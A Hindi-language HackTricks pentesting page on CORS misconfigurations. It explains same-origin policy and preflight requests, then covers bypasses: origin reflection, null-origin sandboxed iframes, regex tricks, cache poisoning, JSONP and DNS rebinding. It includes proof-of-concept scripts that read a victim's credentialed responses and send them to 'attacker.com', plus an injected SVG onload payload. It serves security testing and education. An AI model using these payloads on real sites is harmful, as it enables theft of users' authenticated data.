hacktricks/pentesting-web/cors-bypass.md

CORS - Misconfigurations & Bypass

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

• अगर आप चाहते हैं कि आपकी कंपनी HackTricks में विज्ञापित हो या HackTricks को PDF में डाउनलोड करें तो सब्सक्रिप्शन प्लान्स देखें!
• आधिकारिक PEASS और HackTricks स्वैग प्राप्त करें
• हमारे विशेष NFTs संग्रह, The PEASS Family खोजें
• शामिल हों 💬 डिस्कॉर्ड समूह या टेलीग्राम समूह या मुझे ट्विटर पर फॉलो करें 🐦 @carlospolopm.
• अपने हैकिंग ट्रिक्स साझा करें, HackTricks को PRs जमा करके HackTricks और HackTricks Cloud github repos में।

CORS क्या है?

Cross-Origin Resource Sharing (CORS) मानक सर्वरों को उनके संपत्तियों तक कौन पहुंच सकता है और किस HTTP अनुरोध विधियों की अनुमति है यह परिभाषित करने की अनुमति देता है।

एक समान-मूल नीति एक नियम है जो कहता है कि एक सर्वर जो एक संसाधन का अनुरोध कर रहा है और संसाधन को होस्ट करने वाला सर्वर एक ही प्रोटोकॉल (जैसे, http://), डोमेन नाम (जैसे, internal-web.com), और पोर्ट (जैसे, 80) साझा करते हों। इस नीति के तहत, केवल वेब पृष्ठ जिनका डोमेन और पोर्ट समान हैं, संसाधनों तक पहुंच की अनुमति है।

http://normal-website.com/example/example.html के संदर्भ में समान-मूल नीति का अनुपालन निम्नलिखित रूप में है:

URL तक पहुंचा गया	पहुंच की अनुमति?
http://normal-website.com/example/	हाँ: एक ही योजना, डोमेन, और पोर्ट
http://normal-website.com/example2/	हाँ: एक ही योजना, डोमेन, और पोर्ट
https://normal-website.com/example/	नहीं: विभिन्न योजना और पोर्ट
http://en.normal-website.com/example/	नहीं: विभिन्न डोमेन
http://www.normal-website.com/example/	नहीं: विभिन्न डोमेन
http://normal-website.com:8080/example/	नहीं: विभिन्न पोर्ट*

*इंटरनेट एक्सप्लोरर समान-मूल नीति को प्रवर्तित करते समय पोर्ट नंबर को नजरअंदाज करता है, इसलिए यह पहुंच की अनुमति देता है।

Access-Control-Allow-Origin हेडर

यह हेडर कई मूल को अनुमति दे सकता है, एक null मान, या एक वाइल्डकार्ड *। हालांकि, कोई भी ब्राउज़र कई मूलों का समर्थन नहीं करता, और वाइल्डकार्ड * का उपयोग सीमाओं के अधीन है। (वाइल्डकार्ड केवल अकेले उपयोग किया जाना चाहिए, और इसका उपयोग Access-Control-Allow-Credentials: true के साथ नहीं किया जा सकता है।)

यह हेडर एक सर्वर द्वारा जारी किया जाता है एक वेबसाइट द्वारा प्रारंभित एक क्रॉस-डोमेन संसाधन अनुरोध के प्रतिसाद में, जिसे ब्राउज़र स्वचालित रूप से एक Origin हेडर जोड़ता है।

Access-Control-Allow-Credentials हेडर

डिफ़ॉल्ट रूप से, क्रॉस-मूल अनुरोध कुकीज़ या ऑथराइजेशन हेडर जैसे क्रेडेंशियल के बिना किए जाते हैं। फिर भी, जब क्रेडेंशियल भेजे जाते हैं तो क्रॉस-डोमेन सर्वर Access-Control-Allow-Credentials हेडर को true पर सेट करके प्रतिक्रिया को पढ़ने की अनुमति दे सकता है।

अगर true पर सेट किया जाता है, तो ब्राउज़र क्रेडेंशियल (कुकीज़, ऑथराइजेशन हेडर, या TLS क्लाइंट सर्टिफिकेट) भेजेगा।

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);

fetch(url, {
credentials: 'include'
})

const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF पूर्व-उड़ान अनुरोध

पार-डोमेन संचार में पूर्व-उड़ान अनुरोध को समझना

विशेष परिस्थितियों के तहत पार-डोमेन अनुरोध प्रारंभ करते समय, जैसे कि सामान्य HTTP विधि का उपयोग न करना (HEAD, GET, POST के अलावा कुछ भी), नए हेडर शामिल करना, या विशेष Content-Type हेडर मान का उपयोग करना, तो एक पूर्व-उड़ान अनुरोध की आवश्यकता हो सकती है। यह प्रारंभिक अनुरोध, OPTIONS विधि का उपयोग करते हुए, सर्वर को आगामी पार-स्रोत अनुरोध की इच्छाओं की सूचना देने के लिए होता है, जिसमें यह स्पष्ट होता है कि उपयोग करने वाली HTTP विधियाँ और हेडर क्या हैं।

क्रॉस-उत्सर्जन संसाधन साझेदारी (CORS) प्रोटोकॉल इस पूर्व-उड़ान जांच को अनिवार्य बनाता है ताकि अनुरोधित पार-स्रोत कार्य की संभावना का निर्धारण कर सके, जिसमें स्वीकृत विधियाँ, हेडर और मूल्यांकन की विश्वसनीयता की जांच की जाती है। पूर्व-उड़ान अनुरोध की आवश्यकता से बचने के लिए किस परिस्थितियों को विस्तार से समझने के लिए, Mozilla Developer Network (MDN) द्वारा प्रदान की गई व्यापक गाइड का संदर्भ देखें।

यह महत्वपूर्ण है कि पूर्व-उड़ान अनुरोध की अनुपस्थिति जवाब में प्राधिकरण हेडर ले जाने की आवश्यकता को नहीं खारिज करती। इन हेडर्स के बिना, ब्राउज़र को पार-स्रोत अनुरोध से प्रतिक्रिया प्रसंस्करण करने में असमर्थ हो जाता है।

PUT विधि का उपयोग करने और Special-Request-Header नामक एक कस्टम हेडर का उपयोग करने के लिए एक पूर्व-उड़ान अनुरोध का निमायत चित्रण ध्यान में रखें:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

जवाब में, सर्वर स्वीकृत मेथड्स, अनुमति दी गई मूल स्थान, और अन्य CORS नीति विवरण दिखा सकता है, जैसा नीचे दिखाया गया है:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

• Access-Control-Allow-Headers: यह हेडर निर्दिष्ट करता है कि वास्तविक अनुरोध के दौरान कौन से हेडर्स का उपयोग किया जा सकता है। यह सर्वर द्वारा सेट किया जाता है ताकि उसे यह संकेत मिल सके कि क्लाइंट से अनुरोधों में कौन से हेडर्स अनुमत हैं।
• Access-Control-Expose-Headers: इस हेडर के माध्यम से, सर्वर क्लाइंट को सूचित करता है कि कौन से हेडर्स को साधारित प्रतिक्रिया के हिस्से के रूप में प्रकट किया जा सकता है।
• Access-Control-Max-Age: यह हेडर प्री-फ्लाइट अनुरोध के परिणामों को कितनी देर तक कैश किया जा सकता है इसका संकेत देता है। सर्वर प्री-फ्लाइट अनुरोध द्वारा वापसी की गई जानकारी को कितने सेकंड में पुनः उपयोग किया जा सकता है, यह सेट करता है।
• Access-Control-Request-Headers: प्री-फ्लाइट अनुरोधों में उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन से HTTP हेडर्स का उपयोग करना चाहता है, उसे सर्वर को सूचित करने के लिए सेट किया जाता है।
• Access-Control-Request-Method: यह हेडर, प्री-फ्लाइट अनुरोधों में भी उपयोग किया जाता है, यह हेडर क्लाइंट द्वारा वास्तविक अनुरोध में कौन सा HTTP विधि उपयोग किया जाएगा, इसे सूचित करने के लिए सेट किया जाता है।
• Origin: यह हेडर ब्राउज़र द्वारा स्वचालित रूप से सेट किया जाता है और पार-मूल संदेश के मूल को दर्शाता है। यह सर्वर द्वारा उन्हें मूल्यांकन करने के लिए उपयोग किया जाता है कि क्या आने वाला अनुरोध अनुमति देने या नकारने योग्य है CORS नीति के आधार पर।

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} ध्यान दें कि लिनक्स 0.0.0.0 आईपी इन आवश्यकताओं को दूर करने के लिए काम करता है ताकि localhost तक पहुंचा जा सके क्योंकि यह आईपी पता "स्थानीय" नहीं माना जाता है।

यह भी संभव है कि यदि आप किसी स्थानीय अंत बिंदु (जैसे राउटर का सार्वजनिक आईपी) का सार्वजनिक आईपी पता उपयोग करते हैं तो स्थानीय नेटवर्क आवश्यकताओं को दूर करना संभव है। क्योंकि कई अवस्थाओं में, यदि सार्वजनिक आईपी तक पहुंचा जा रहा है, तो यदि यह स्थानीय नेटवर्क से है, पहुंच प्रदान की जाएगी। {% endhint %}

शोधनीय गलतियाँ

यह देखा गया है कि Access-Control-Allow-Credentials को true पर सेट करना अधिकांश वास्तविक हमलों के लिए आवश्यक है। यह सेटिंग ब्राउज़र को क्रेडेंशियल्स भेजने और प्रतिक्रिया पढ़ने की अनुमति देती है, हमले की प्रभावकारिता बढ़ाती है। इसके बिना, ब्राउज़र को अनुरोध जारी करने की बजाय खुद ही करने का लाभ कम हो जाता है, क्योंकि उपयोगकर्ता के कुकीज़ का उपयोग करना असंभव हो जाता है।

अपवाद: प्रमाणीकरण के रूप में नेटवर्क स्थान का शोषण

एक अपवाद मौजूद है जहां पीड़ित का नेटवर्क स्थान प्रमाणीकरण के रूप में काम करता है। इससे पीड़ित के ब्राउज़र का उपयोग प्रॉक्सी के रूप में किया जा सकता है, आईपी-आधारित प्रमाणीकरण को दौर करके इंट्रानेट एप्लिकेशन तक पहुंचने की अनुमति देता है। यह विधि DNS रिबाइंडिंग के साथ समान प्रभाव को साझा करती है लेकिन इसे शोषण करना सरल होता है।

Access-Control-Allow-Origin में Origin का प्रतिबिम्ब

वास्तविक दुनियावी स्थिति जहां Origin हेडर के मान को Access-Control-Allow-Origin में प्रतिबिम्बित किया जाता है सिद्धांतात्मक रूप से संभावनाहीन है क्योंकि इन हेडर्स को मिलान करने पर प्रतिबंध है। हालांकि, यदि विकासक एक से अधिक URL के लिए CORS सक्षम करना चाहते हैं तो Access-Control-Allow-Origin हेडर को Origin हेडर के मान की प्रतिलिपि बनाकर उत्पन्न कर सकते हैं। यह दृष्टिकोण दुरुपयोग ला सकता है, विशेष रूप से जब एक हमलावर एक डोमेन का उपयोग करता है जिसे वैध लगने के लिए डिज़ाइन किया गया है, असलीता को धोखा देते हुए मान्यता तर्क को धोखा देता है।

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

null उत्पत्ति का शोषण

null उत्पत्ति, पुनर्निर्देशन या स्थानीय HTML फ़ाइल जैसी स्थितियों के लिए निर्दिष्ट की गई, एक अद्वितीय स्थिति में है। कुछ एप्लिकेशन इस उत्पत्ति को स्थानीय विकास को सुविधाजनक बनाने के लिए सफेद सूचीबद्ध करते हैं, जिससे किसी भी वेबसाइट को एक सैंडबॉक्स आइफ्रेम के माध्यम से null उत्पत्ति का अनुकरण करने की अनुमति देते हैं, जिससे CORS प्रतिबंधों को छलकरना संभव होता है।

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

नियमित अभिव्यक्ति बायपास तकनीक

जब डोमेन व्हाइटलिस्ट का सामना हो, तो हमें हमलावर के डोमेन को एक व्हाइटलिस्टेड डोमेन के साथ जोड़ने या सबडोमेन ताकने की कमजोरियों का उपयोग करने जैसे बायपास अवसरों का परीक्षण करना महत्वपूर्ण है। इसके अतिरिक्त, डोमेन मान्यता के लिए उपयोग किए जाने वाले नियमित अभिव्यक्तियों में डोमेन नामकरण संविधानों में छूट देखने की संभावनाएं छूट देते हैं, जो और बायपास अवसर प्रस्तुत कर सकते हैं।

उन्नत नियमित अभिव्यक्ति बायपास

रेगेक्स पैटर्न आम तौर पर अक्षरांकीय, डॉट (.), और हाइफ़न (-) वर्णों पर ध्यान केंद्रित करते हैं, अन्य संभावनाओं को नजरअंदाज करते हैं। उदाहरण के लिए, ब्राउज़र्स और रेगेक्स पैटर्न्स द्वारा विभिन्न रूप से व्याख्या किए जाने वाले वर्णों को शामिल करने वाले एक डोमेन नाम सुरक्षा जांचों को छल सकता है। सफारी, क्रोम, और फ़ायरफ़ॉक्स के अंडरस्कोर वर्णों के संबद्धन का विवरण देखने के लिए कैसे इन विसंगतियों का उपयोग करके डोमेन मान्यता तर्क को घुमाने के लिए उपयोग किया जा सकता है।

इस बायपास जांच के अधिक जानकारी और सेटिंग के लिए: https://www.corben.io/advanced-cors-techniques/ और https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

XSS के अंदर सबडोमेन से

डेवलपर्स अक्सर CORS शोषण के खिलाफ सुरक्षात्मक उपाय को लागू करते हैं जिसमें जानकारी अनुरोध करने की अनुमति दी गई डोमेन को व्हाइटलिस्ट करने के लिए। इन सावधानियों के बावजूद, सिस्टम की सुरक्षा पूरी तरह से सुरक्षित नहीं है। व्हाइटलिस्टेड डोमेन्स में एक ही विकल्पनशील सबडोमेन की मौजूदगी, CORS शोषण के द्वार खोल सकती है अन्य विकल्पनशीलताओं के माध्यम से, जैसे XSS (क्रॉस-साइट स्क्रिप्टिंग)।

उदाहरण के लिए, एक स्थिति को विचार करें जहां एक डोमेन, requester.com, को दूसरे डोमेन, provider.com, से संसाधनों तक पहुंचने की अनुमति है। सर्वर-साइड कॉन्फ़िगरेशन कुछ इस प्रकार दिख सकती है:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

सर्वर-साइड कैश पॉइज़निंग

इस शोध से

यह संभावना है कि HTTP हेडर इंजेक्शन के माध्यम से सर्वर-साइड कैश पॉइज़निंग का शोध करके, एक स्टोर्ड क्रॉस-साइट स्क्रिप्टिंग (XSS) वंशानुक्रमण किया जा सकता है। यह स्थिति उत्पन्न होती है जब कोई एप्लिकेशन अवैध वर्णों के लिए Origin हेडर को सैनिटाइज़ नहीं करता, खासकर इंटरनेट एक्सप्लोरर और एज उपयोगकर्ताओं के लिए एक वंशानुक्रमण उत्पन्न करता है। ये ब्राउज़र \r (0x0d) को एक वैध HTTP हेडर टर्मिनेटर के रूप में देखते हैं, जिससे HTTP हेडर इंजेक्शन की वंशानुक्रमण संभावनाएँ उत्पन्न होती हैं।

निम्नलिखित अनुरोध को ध्यान से देखें जहां Origin हेडर को मानिपुलेट किया गया है:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer और Edge प्रतिक्रिया को इस प्रकार समझते हैं:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

जबकि इस सुरक्षा दोष का सीधा शोषण वेब ब्राउज़र को एक अवैध हेडर भेजने के द्वारा संभव नहीं है, एक तैयार किया गया अनुरोध उपकरणों जैसे बर्प सुइट का उपयोग करके मैन्युअल रूप से उत्पन्न किया जा सकता है। यह विधि एक सर्वर-साइड कैश को उत्तेजित कर सकती है जो प्रतिक्रिया को सहेज सकती है और अनजाने में इसे अन्यों को प्रदान कर सकती है। तैयार किया गया पेलोड पृष्ठ के वर्ण सेट को UTF-7 में बदलने का उद्देश्य रखता है, जो किसी विशेष संदर्भ में स्क्रिप्ट के रूप में क्रियान्वित किया जा सकने वाले वर्णों को एन्कोड करने की क्षमता के कारण एक्सएसएस दोषों से अक्सर जुड़ा जाता है।

भविष्य में पढ़ने के लिए इस्तेमाल करें PortSwigger.

ध्यान दें: HTTP हेडर इंजेक्शन दोषों का शोषण, विशेष रूप से सर्वर-साइड कैश पॉइज़निंग के माध्यम से, सभी उपयोगकर्ता द्वारा प्रदान किए गए इनपुट, सहित HTTP हेडर्स की मान्यता और शोधन का महत्वपूर्ण महत्व को साबित करता है। हमेशा एक मजबूत सुरक्षा मॉडल का उपयोग करें जिसमें इनपुट मान्यता सत्यापन शामिल होता है ताकि ऐसे दोषों को रोका जा सके।

क्लाइंट-साइड कैश पॉइज़निंग

इस अनुसंधान से

इस परिदृश्य में, एक वेब पृष्ठ की एक उदाहरण देखा गया है जो सही एन्कोडिंग के बिना एक कस्टम HTTP हेडर की सामग्री को प्रतिबिंबित करता है। विशेष रूप से, वेब पृष्ठ X-User-id हेडर में शामिल की गई सामग्री को प्रतिबिंबित करता है, जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल हो सकती है, जैसा कि उदाहरण में दिखाया गया है जहां हेडर में एक एसवीजी छवि टैग शामिल है जो लोड होने पर जावास्क्रिप्ट कोड को क्रियान्वित करने के लिए डिज़ाइन किया गया है।

क्रॉस-ऑरिजिन रिसोर्स सेयरिंग (CORS) नीतियाँ कस्टम हेडर्स भेजने की अनुमति देती हैं। हालांकि, CORS प्रतिबंधों के कारण ब्राउज़र द्वारा प्रतिक्रिया को सीधे रेंडर किए जाने के बिना, ऐसे इंजेक्शन का उपयोग सीमित सा लग सकता है। महत्वपूर्ण बिंदु उत्पन्न होता है जब ब्राउज़र के कैश व्यवहार को विचार में लिया जाता है। यदि Vary: Origin हेडर निर्दिष्ट नहीं किया गया है, तो ब्राउज़र द्वारा दुरुपयोगी प्रतिक्रिया को कैश किया जा सकता है। इसके बाद, इस कैश किए गए प्रतिक्रिया को सीधे प्रदर्शित किया जा सकता है जब URL पर नेविगेट किया जाता है, पहले अनुरोध पर सीधे रेंडर करने की आवश्यकता को छोड़ते हुए। यह तंत्र ग्राहक-साइड कैशिंग का उपयोग करके हमले की विश्वसनीयता को बढ़ाता है।

इस हमले को प्रदर्शित करने के लिए, जावास्क्रिप्ट उदाहरण प्रदान किया गया है, जो एक वेब पृष्ठ के वातावरण में क्रियान्वित किया जाने के लिए डिज़ाइन किया गया है, जैसे कि एक JSFiddle के माध्यम से। यह स्क्रिप्ट एक सरल कार्रवाई करता है: यह एक निर्दिष्ट URL पर एक अनुरोध भेजता है जिसमें दुरुपयोगी जावास्क्रिप्ट शामिल हेडर होता है। सफल अनुरोध पूरा होने पर, यह लक्षित URL पर नेविगेट करने का प्रयास करता है, संभावना है कि यदि प्रतिक्रिया को Vary: Origin हेडर का सही संभालन किए बिना कैश किया गया है, तो डाला गया स्क्रिप्ट क्रियान्वित हो सकता है।

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

बायपास

XSSI (क्रॉस-साइट स्क्रिप्ट इनक्लूजन) / JSONP

XSSI, जिसे क्रॉस-साइट स्क्रिप्ट इनक्लूजन के रूप में भी जाना जाता है, एक प्रकार की सुरक्षा कमी है जो इस तथ्य का फायदा उठाती है कि सेम ऑरिजिन नीति (SOP) को स्क्रिप्ट टैग का उपयोग करके संसाधन शामिल करते समय लागू नहीं होती है। यह इसलिए है क्योंकि स्क्रिप्ट को विभिन्न डोमेन से शामिल किया जा सकता है। यह सुरक्षा कमी एक हमलावार को यह अनुमति देती है कि वह स्क्रिप्ट टैग का उपयोग करके शामिल किया गया किसी भी सामग्री तक पहुंच सके और पढ़ सके।

यह सुरक्षा कमी विशेष रूप से महत्वपूर्ण हो जाती है जब यह डायनामिक जावास्क्रिप्ट या JSONP (पैडिंग के साथ जेएसओएन) के संदर्भ में आती है, विशेषकर जब एम्बिएंट-अथॉरिटी सूचना जैसे कुकीज़ का उपयोग प्रमाणीकरण के लिए किया जाता है। जब एक विभिन्न होस्ट से संसाधन का अनुरोध किया जाता है, तो कुकीज़ शामिल होती हैं, जिससे उन्हें हमलावार के लिए पहुंचने में सहायता मिलती है।

इस सुरक्षा कमी को बेहतर समझने और कम करने के लिए, आप अपने वेब एप्लिकेशन में XSSI सुरक्षा कमियों की पहचान और संबोधन के लिए https://github.com/kapytein/jsonp पर उपलब्ध BurpSuite प्लगइन का उपयोग कर सकते हैं। यह प्लगइन आपको आपके वेब एप्लिकेशन में संभावित XSSI सुरक्षा कमियों की पहचान और संबोधन में मदद कर सकता है।

यहाँ विभिन्न प्रकार के XSSI के बारे में और उन्हें कैसे शामिल किया जाए इसके बारे में अधिक पढ़ें।

अनुरोध में एक कॉलबैक पैरामीटर जोड़ने की कोशिश करें। शायद पृष्ठ को JSONP के रूप में डेटा भेजने के लिए तैयार किया गया था। उस मामले में पृष्ठ डेटा को Content-Type: application/javascript के साथ वापस भेजेगा जिससे CORS नीति को बायपास किया जा सकेगा।

आसान (अफ़सोसनाक?) बायपास

Access-Control-Allow-Origin प्रतिबंध को बायपास करने का एक तरीका एक वेब एप्लिकेशन से एक अनुरोध करना है और उत्तर भेजना है। हालांकि, इस स्थिति में, अंतिम पीड़ित के क्रेडेंशियल्स नहीं भेजे जाएंगे क्योंकि अनुरोध एक विभिन्न डोमेन पर किया जाता है।

1. CORS-escape: यह उपकरण एक प्रॉक्सी प्रदान करता है जो आपके अनुरोध को उसके हेडर्स के साथ आगे भेजता है, जबकि उत्तराधिकारी हेडर को अनुरोधित डोमेन से मेल खाता है। यह CORS नीति को प्रभावी रूप से बायपास करता है। यहाँ XMLHttpRequest के साथ एक उदाहरण उपयोग दिया गया है:

2. simple-cors-escape: यह उपकरण अनुरोध को जैसा है उसी रूप में प्रॉक्सी करने के लिए एक वैकल्पिक दृष्टिकोण प्रदान करता है। सर्वर अपने निर्दिष्ट पैरामीटर के साथ अपना अपना अनुरोध करता है।

आईफ्रेम + पॉपअप बायपास

आप एक आईफ्रेम बनाकर CORS जांचों जैसे e.origin === window.origin को बायपास कर सकते हैं और इससे एक नए विंडो खोल सकते हैं। इसके बारे में अधिक जानकारी निम्नलिखित पृष्ठ में है:

{% content-ref url="xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

TTL के माध्यम से DNS रिबाइंडिंग

TTL के माध्यम से DNS रिबाइंडिंग एक तकनीक है जो DNS रिकॉर्ड को मानियता के लिए छेदने के द्वारा कुछ सुरक्षा उपायों को बायपास करने के लिए उपयोग की जाती है। यह कैसे काम करता है:

1. हमलावार एक वेब पृष्ठ बनाता है और पीड़ित को उसे पहुंचने के लिए बनाता है।
2. हमलावार फिर अपने खुद के डोमेन का DNS (आईपी) पीड़ित के वेब पृष्ठ को इंडिकेट करने के लिए बदलता है।
3. पीड़ित का ब्राउज़र DNS प्रतिक्रिया कैश करता है, जिसमें एक TTL (टाइम टू लिव) मान हो सकता है जो बताता है कि DNS रिकॉर्ड को कितनी देर तक मान्य माना जाना चाहिए।
4. जब TTL समाप्त होता है, पीड़ित का ब्राउज़र एक नया DNS अनुरोध करता है, जिससे हमलावार को पीड़ित के पृष्ठ पर जावास्क्रिप्ट कोड चलाने की अनुमति मिलती है।
5. पीड़ित के आईपी के नियंत्रण को बनाए रखकर, हमलावार पीड़ित सर्वर को कुकीज़ भेजने के बिना पीड़ित से जानकारी एकत्र कर सकता है।

यह ध्यान देने योग्य है कि ब्राउज़रों के पास कैशिंग मेकेनिज़म हो सकते हैं जो इस तकनीक का तुरंत दुरुपयोग रोक सकते हैं, यहां भी निम्न TTL मानों के साथ।

DNS रिबाइंडिंग विकल्प के लिए आप https://lock.cmpxchg8b.com/rebinder.html जैसी सेवाओं का उपयोग कर सकते हैं।

अपनी खुद की DNS रिबाइंडिंग सर्वर चलाने के लिए, आप DNSrebinder (https://github.com/mogwailabs/DNSrebinder) जैसे उपकरणों का उपयोग कर सकते हैं। इसमें अपने स्थानीय पोर्ट 53/udp को उजागर करना, एक ए रिकॉर्ड बनाना जो इसे इंडिकेट करता है (जैसे, ns.example.com), और पहले बनाए गए ए उपडोमेन को इंडिकेट करने वाला एनएस रिकॉर्ड बनाना शामिल है। ns.example.com उपडोमेन का कोई भी उपडोमेन आपके होस्ट द्वारा हल किया जाएगा।

आप अधिक समझने और प्रयोग के लिए http://rebind.it/singularity.html पर सार्वजनिक रूप से चल रहे सर्वर का अन्वेषण कर सकते हैं।